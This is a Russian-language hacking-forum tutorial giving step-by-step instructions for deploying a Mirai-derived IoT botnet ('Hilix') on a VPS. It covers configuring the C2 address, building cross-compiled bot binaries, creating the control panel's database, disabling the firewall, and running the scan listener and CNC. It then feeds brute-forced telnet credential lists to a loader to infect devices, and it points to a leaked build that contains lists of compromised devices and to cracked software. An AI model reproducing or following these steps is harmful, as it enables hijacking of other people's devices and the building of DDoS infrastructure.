Поднимаем свой IoT ботнет на основе Mirai. Туториал на русском языке от fu11p0w3r специально для ufolabs.net

Поднимаем свой IoT ботнет на основе Mirai. Туториал на русском языке от fu11p0w3r специально для ufolabs.net

fu11p0w3r

В данной статье я хотел бы рассмотреть как почти что пошагово можно поднять свою ботсеть с IoT устройств на основе модификации исходного кода нашумевшего ботнета Мираи от некого Helix.

Начнем пожалуй с выбора и настройки нашего сервера, на котором будет крутится панель, хоститься бинарники и куда будут стучаться боты.

Я буду использовать VPS под управлением ОС CentOS 7
Краткие характеристики:


В принципе для начальных экспериментов этого должно хватить)

Для начала берем VPS и накатываем CentOS 7.

После того как подготовили сервак - проваливаемся туда через ssh используя любой подходящий для этого клиент. Ссылки я оставил в конце статьи

Провалились - хорошо, после этого нам нужно подготовить сорцы для заливки на сервер прописав его айпишник. Для этого лично мне удобно использовать notepad++.

Открываем main.go через notepad

и видим айпишник 7.7.7.7, его мы выделяем и нажимаем CTRL+F.

Появляется окно где мы переходим во вкладку Find In Files

тут мы нажимаем на ту хню и выбираем папку с сорцами

после этого прописываем в Replace with - IP адресс своего сервера и нажимаем Replace in Files.

Таким образом notepad производит рекурсивный поиск по папке с сорцами и заменяет дефолтный айпишик на наш, то что нам и нужно. Далее так же само, но вместо точек разделяем октеты запятой

После этого в открытом файле мы можем заметить что поменяется айпишник в 19 строчке на тот, который мы указали и так же советую поставить свой пароль на подключение к базе. Его мы будем указывать при создании БД по позже, не забываем это.

Закрываем файл сохраняя изменения. Далее копируем именно содержимое папки с сорцами в корень на сервер

В случае успеха увидим такую картину. Все файлы успешно залились на сервак

Дальше прописываем права на запуск файлов

chmod 777 * -R

Ну и начинаем инсталить нужные запуском скрипта install.sh

./install.sh

Видим что процесс пошел

В конце после скачивания кросс-компиляторов может показаться как будто оболочка подзависла, но это нормальное явление. Просто архивы с ними в фоне расспаковываются и нужно немного подождать

Фухх... Отпустило

Дальше нам нужно прописать расположение компиляторов и golang в глобальные переменные, а так же подтянуть 2 репозитория. Для того что бы не копипастить это в консоль каждый раз при новом запуске оболочки, мы открывает текстовым редактором файл .bashrc

nano .bashrc

и прописываем вконец эти команды:

export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/armv7l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOROOT=/usr/local/go
export GOPATH=$HOME/Projects/Proj1
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords

После чего сохраняем, выходим и перезагружаем оболочку командой

bash -l

Если ошибок нет, значит ты все делал правильно, красавчик)

Далее настроим mysql и создадим нашу базу и пару таблиц.

Для начала нам нужно узнать временный пароль от рута, для этого пишем:

sudo grep 'temporary password' /var/log/mysqld.log

И нам выводит вот такой текст, где стрелкой отмечен пароль. Мы его копируем

Пишем в консоль

mysql_secure_installation

И вставляем свой временный пароль, после чего вводим новый тот, который мы указывали в файле main.go

Дальше если еще раз попросит, так же вводим новый пароль и повторяем его.

После чего на стандартные вопросы отвечаем Y и в случае успеха видим

Логинимся в mysql под рутом где указываем наш новый пароль

mysql -u root -p

Вошли

Далее просто копируем и вставляем эти sql запросы:

CREATE DATABASE Hilix;
use Hilix;
CREATE TABLE `history` (
 `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
 `user_id` int(10) unsigned NOT NULL,
 `time_sent` int(10) unsigned NOT NULL,
 `duration` int(10) unsigned NOT NULL,
 `command` text NOT NULL,
 `max_bots` int(11) DEFAULT '-1',
 PRIMARY KEY (`id`),
 KEY `user_id` (`user_id`)
);
 
CREATE TABLE `users` (
 `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
 `username` varchar(32) NOT NULL,
 `password` varchar(32) NOT NULL,
 `duration_limit` int(10) unsigned DEFAULT NULL,
 `cooldown` int(10) unsigned NOT NULL,
 `wrc` int(10) unsigned DEFAULT NULL,
 `last_paid` int(10) unsigned NOT NULL,
 `max_bots` int(11) DEFAULT '-1',
 `admin` int(10) unsigned DEFAULT '0',
 `intvl` int(10) unsigned DEFAULT '30',
 `api_key` text,
 PRIMARY KEY (`id`),
 KEY `username` (`username`)
);
 
CREATE TABLE `whitelist` (
 `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
 `prefix` varchar(16) DEFAULT NULL,
 `netmask` tinyint(3) unsigned DEFAULT NULL,
 PRIMARY KEY (`id`),
 KEY `prefix` (`prefix`)
);

Теперь ниже где login, password - можете заменить на свой логин и пароль между кавычек. Это ваши данные для входа в панель и так же вставляем следом в консоль.

INSERT INTO users VALUES (NULL, 'login', 'password', 0, 0, 0, 0, -1, 1, 30, '');
exit;

В результате должен быть вывод

После рестартим mysql и apache и вырубаем firewall

sudo systemctl stop firewalld
sudo systemctl disable firewalld
sudo systemctl mask --now firewalld
sudo service httpd restart 
sudo service mysqld restart

Далее открываем файл в текстовом редакторе, скролим вниз и меняем значение 1024 на 999999

nano /usr/include/bits/typesizes.h

Сохраняем, закрываем.

Ну и усе, компилируем сорцы)

./build.sh

Если все ок, увидим что то типо

Отлично!

Запускаем Listener, пока он слушает - на него будут боты присылать сбрученные телнет акки которые атоматически будут сохранятся в текстовый файл)

screen ./loader/scanListener

Сворачиваем комбинацией CTRL+A+D и поднимаем наш cnc

screen ./cnc

Тут мы сможем видеть подключение и отключение наших ботов)

Просто открываем вторую вкладку с сессией ssh для наших дел, что бы видеть что происходит в cnc не закрывая)


Ах да, кстати, что бы добавить новых ботов есть такая штука как loader

Лоадер можно кормить текстовыми файлами с аккаунтами в формате ip:port login:pass. Для примера можем скормить так сказать подгон от человека что слил данную можно сказать сборку, который находится в папке loader и выглядит так:

Для этого переходим в папку с лоадером и пихаем ему .тхт

cd loader
cat Gift_From_Reborn.txt | ./loader

Наблюдаем вкладку с cnc)

Так, теперь зайдем в панельку. Для этого берем Putty и подключаемся в данном примере на 45 порт методом RAW

Далее вводим логин и пароль который указывали при добавлении колонки в таблицу users в нашей БД, по дефолту логин: login, пароль: password

Ну и попадаем в нашу панельку)

Так же в папке присутсвует Hilix_payload.py . С помощью него автоматом сетупаются некоторые службы и генерится полезная нагрузка, которую потом можно пихнуть в брут и тем самым при каждом гуде и если сойдутся звезды на небе - выполнять пейлоад и тянуть на сбрученное устройство сразу же бинарники. Можно юзать, можно не юзать.


В итоге сервер подняли, настроили, поставили панель, подготовили скрипты/бинарники. Пока ботов особо нет - нужно самому брутить и нарасчивать, но это уже тема для другой статьи :)

Спасибо за внимание.


Ссылки:

MobaXterm + crack

Putty

Notepad++

Hilix 6.0 Leaked


ПЫ.СЫ в архиве я оставил папочку telnet со списками сбрученных устройств. Эти списки мы так же скармливаем в loader и имеем какой-никакой, но стартовый набор из ботов. Как говорится: "мелочь, но приятно" )

P.S.2 пароль я думаю не сложно догадаться какой) защита от дурачка, try harder bro!

Или смотри под хайд на уфо:)


Report Page